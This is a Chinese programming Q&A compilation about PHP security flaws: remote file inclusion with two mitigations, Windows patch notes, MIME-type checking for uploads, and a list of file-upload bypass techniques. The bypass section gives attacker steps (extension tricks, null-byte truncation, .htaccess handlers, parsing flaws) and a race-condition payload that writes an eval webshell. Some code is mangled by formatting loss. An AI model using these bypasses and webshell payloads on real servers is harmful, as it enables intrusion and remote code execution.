首页 > 编程知识 正文

畸形php文件名执行漏洞,php文件解析漏洞

时间:2023-12-26 12:11:39 阅读:322727 作者:VQPQ

本文目录一览:

PHP 网络开发详解之远程文件包含漏洞

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

复制代码

代码如下:

?php

$file_name

=

$_GET["filename"];

//获得当前文件名

include("$file_name

");

//包含文件

//一些其他操作

?

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问就可以在代码(Code)中包含并执行myinc.php文件。

由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。

Warning:

include(.php)

[function.include]:

failed

to

open

stream:

No

such

file

or

directory

in

C:Program

FilesxampphtdocsBugstest6.php

on

line

3

Warning:

include()

[function.include]:

Failed

opening

'.php'

for

inclusion

(include_path='.;C:Program

Filesxamppphppear')

in

C:Program

FilesxampphtdocsBugstest6.php

on

line

3

访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。

复制代码

代码如下:

?php

echo

"hello

world!";

?

这时,通过在浏览器中访问就可以运行hello.txt中的脚本了。

为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。

复制代码

代码如下:

?php

$file_name

=

$_GET["filename"];

//获得当前文件名

if(!@include("$file_name.php"))

//包含文件

{

die("页面在浏览过程中出现错误");

}

//一些其他操作

?

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。

第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。

复制代码

代码如下:

?php

$file_name

=

str_replace('/',

'',

$_GET["filename"]);

//获得当前文件名

if(!@include("$file_name.php"))

//包含文件

{

die("页面在浏览过程中出现错误");

}

//一些其他操作

?

这样,在浏览器中访问

时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。

计算机扫描出php漏洞如何处理

系统漏洞是指应用软件或操作系统软件在逻辑设计上的缺陷或在编写时产生的错误,这个缺陷或错误可以被不法者或者电脑黑客利用,通过植入木马、病毒等方式来攻击或控制整个电脑,从而窃取您电脑中的重要资料和信息,甚至破坏您的系统。

漏洞原理windows系统漏洞问题是与时间紧密相关的。一个windows系统从发布的那一天起,随着用户的深入使用,系统中存在的漏洞会被不断暴露出来,这些早先被发现的漏洞也会不断被系统供应商:微软公司发布的补丁软件修补,或在以后发布的新版系统中得以纠正。而在新版系统纠正了旧版本中具有漏洞的同时,也会引入一些新的漏洞和错误。

因而随着时间的推移,旧的系统漏洞会不断消失,新的系统漏洞会不断出现。系统漏洞问题也会长期存在。

安全公告

2014年2月12日凌晨,微软发布7个漏洞补丁,包括4个“严重”级别的补丁和3个“重要”级别的漏洞。分别修复了Internet Explorer、.Net、Windows中存在的多个漏洞和一个Windows8专属漏洞。

2014年1月16日,发布1月安全公告,其中4个漏洞补丁级别均为“重要”,它们分别修复了MS Office Word、Windows 7内核和旧版本Windows 内核驱动中存在的多个远程代码执行和提权漏洞。同时推送的还有Adobe Flash Player 12的版本更新安装包及Adobe Reader安全更新。

微软一般在每月第二周的周二发布安全公告,被称为“补丁星期二”。

漏洞级别

漏洞按严重程度分为“紧急”、“重要”、“警告”、“注意”四种。一般的说,在微软的网站上定义为重要的都应该及时更新。

漏洞修复

系统自动更新Update,或用电脑管家等安全软件自动修复。

希望我能帮助你解疑释惑。

php文件上传漏洞,请教这样怎么解决?

检查一下上传文件的类型,不要根据后缀判断类型。用Fileinfo函数去检查他的真实类型。

示例:

$a = finfo_open(FILEINFO_MIME);

$b = finfo_file($a,'m.js');

print_r($b);//根据输出的的mime类型进行进行判断是不是你要求上传的类型

还有个函数也能检查文件的MIME类型:mime_content_type()

但是这个函数已经被废弃,不推荐使用它

示例:

$a = mime_content_type('m.js');

print_r($a);//会输出 m.js 文件的MIME类型

php代码执行漏洞所能造成的危害包括以下哪些内容

假如你的 include 中包含 可变的参数,而且可悲外部修改,例如:

?phpinclude("inc/".$_GET['file']);这样的话,就会引发漏洞,用户可以构造任意参数来读取你的文件。

PHP漏洞有哪些

首先和ASP一样,对敏感字符过滤不严会导致注入..

还有PHP很有特点,他得运行程序是很人性化得,如果设置不好,随便提交个有错得地址之类就会告诉你绝对路径之类得敏感信息.

PHP包含过滤不严会导致读取任意文件.

变量过滤不严会导致伪造数据欺骗服务器.

等等等等好多..我说得这些都是比较常见和常用得

文件上传漏洞的类型有哪些?

1、 前端检测绕过

有的站点只在前端对文件的类型有所限制,我们只需用bp抓包然后修改文件后缀名就能绕过这种检测。

2、 文件头检测绕过

有的站点使用文件头来检测文件的类型,这种检测可以在shell前加入相应的字节一绕过检测,几种常见的文件类型的头字节如下:

3、 后缀检测绕过

部分服务器仅根据文件后缀、上传时的信息或者文件头来判断文件类型,此时可以绕过。php由于历史的原因,部分解释器可能支持符合正则/ph(p[2-7]?|t(ml)?)/的后缀,如php/php5/pht/phtml/shtml/pwml/phtm等。如果后端对文件名进行了过滤,可以尝试双写文件名,比如1.pphphp。

4、 系统命名绕过

在windows系统中,上传不符合windwos命名规则的文件名会被windows系统自动去掉不符合规则符号后面的内容,例如:test.asp.、test.asp(空格)、test.php:1.jpg、test.php:: D A T A 、 t e s t . p h p : : DATA、test.php:: DATA、test.php::DATA…这些文件上传到服务器端之后都会变成test.php

在linux系统下,可以尝试上传文件后缀名为大小写混用的Php文件。

5、 文件包含绕过

在文件包含的时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件,用户可以对变量的值进行控制,而服务器端未对变量进行合理的校验,这样就导致所包含的文件有可能存在恶意代码。比如1.php

?php $file=$_GET[‘file’]; include($file); ?

这个程序就包含了一个文件,我们在1.txt文件中写入

?php phpinfo(); ?

然后将这个文件包含在1.php中1.php?file=1.txt这样

?php phpinfo(); ?就成功写入1.php这个文件当中,我们访问1.php这个文件的时候就能出现php信息那个页面。利用这个漏洞我们就可以进行文件上传,我们只需包含一个一句话木马内容的txt就能用菜刀连接,这样就成功执行了文件上传。

6、 解析漏洞绕过

目录解析:在网站中建立名称为*.asp、.asa格式的文件夹时,其文件夹下面的文件都会被当做asp执行。

文件解析:当文件名为.asp;1.jpg时,也会被当做asp执行

Apache解析漏洞:Apache在解析文件时,是从右往左,如果遇到不认识的扩展名时,就会继续向左判断,例如1.php.rar就会被当做

php解析。

IIS 7.0/IIS 7.5/Nginx0.8.3畸形文件解析漏洞,当访问时,此时1.php不存在,就会将1.jpg当做php文件去执行,所以如果存在该漏洞,将php木马后缀改成jpg然后访问1.jpg/1.php然后1.jpg就会被当成1.php来执行。

.htaccess,该文件里面的代码如下:

FilesMatch “1”

SetHandler application/x-httpd-php

这段代码的意思就是文件名包含”1”这个这个字符串就会被当成php文件来处理。但是值得注意的是上传.htaccess必须是网站根路径。

7、 文件截断绕过

00截断:由于00代表结束符,所以会把00后面的所有字符删除。

能利用这个漏洞的前提是,php版本要小于5.3.4,magic_quotes_gpc需要为OFF状态。我们用bp进行拦包之后,需要send to repeater,然后在hex中,在php后面添加00

8、 竞争条件攻击

一些网站上传文件逻辑上是允许上传任意文件的,然后检查上传文件的内容是否包含webshell脚本,如果包含则删除该文件,这里存在的问题是文件上传成功之后和删除文件之间存在一个短的时间差,攻击者就可以利用这个时间差来上传漏洞攻击。攻击者先上传一个webshell脚本1.php内容如下:

?php fputs(fopen(‘../shell.php’,’w’),’?php @eval($_POST[a]) ?’); ?

代码内容就是生成一个新的webshell,shell.php,那么当1.php上传成功之后,我们快速访问这个文件,这时就会在服务器端当前目录下自动生成shell.php,这时就利用时间差完成了webshell的上传。

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。